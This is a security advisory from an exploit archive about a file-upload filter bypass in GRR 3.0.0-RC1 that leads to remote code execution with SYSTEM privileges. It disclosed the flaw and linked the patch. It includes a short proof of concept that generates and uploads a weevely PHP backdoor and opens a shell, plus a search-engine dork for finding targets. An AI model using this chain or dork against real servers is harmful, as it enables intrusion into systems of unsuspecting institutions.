what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GRR 3.0.0-RC1 Remote Code Execution / File Upload

GRR 3.0.0-RC1 Remote Code Execution / File Upload
Posted Jan 21, 2016
Authored by kmkz

GRR versions 3.0.0-RC1 and below suffer from a remote code execution vulnerability with privilege escalation through a file upload filter bypass.

tags | exploit, remote, code execution, file upload
SHA-256 | 286b498185c854403d0e567a816f5429b38d05890d5fa5454fe997be0829251f

GRR 3.0.0-RC1 Remote Code Execution / File Upload

Change Mirror Download
# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege
escalation through file upload filter bypass (authenficated)
# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> |
@kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link:
http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"
# CVE ID: Requested


I. APPLICATION
======================================================================================


GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================



The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.

Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.

This file called for example "logo.jpg" is also "chmoded" as 0666
permission
and directly accessible in image folder (img_grr by default) by all users.

Besides, the application does only a basic conditional php test
on the extension of the uploaded file.

It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).

So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more
privileges
on the targeted server (privesc due to bad file permissions and RCE).

To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.

This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.

Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).


III. PROOF OF CONCEPT
======================================================================================


Generate backdoor:

kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486
byte size.
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg


Login as admin and upload this new 'logo' > Administration > logo

Enjoy your shell!

kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php
pass123
[+] weevely 3.2.0

[+] Target: laboratoire.target.fr:F:\server\grr\images
[+] Session: /kmkz/.weevely/sessions/
laboratoire.target.fr/logo_1.session
[+] Shell: System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
autorite nt\system



IV. RISK
======================================================================================

By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.

This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may
conduce
to full information system's compromission using pivots techniques and
imagination!


V. VERSIONS AFFECTED
======================================================================================

GRR 3.0.0-RC1 is vulnerable (and all previous versions)


VI. TIMELINE
======================================================================================

December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure


Publication:
http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
Patch :
https://github.com/JeromeDevome/GRR/commit/b4c55e009c1af33b63326b755ccc4121a004bf0c

VII. LEGAL NOTICES
======================================================================================

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this advisory.


@kmkz_security


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close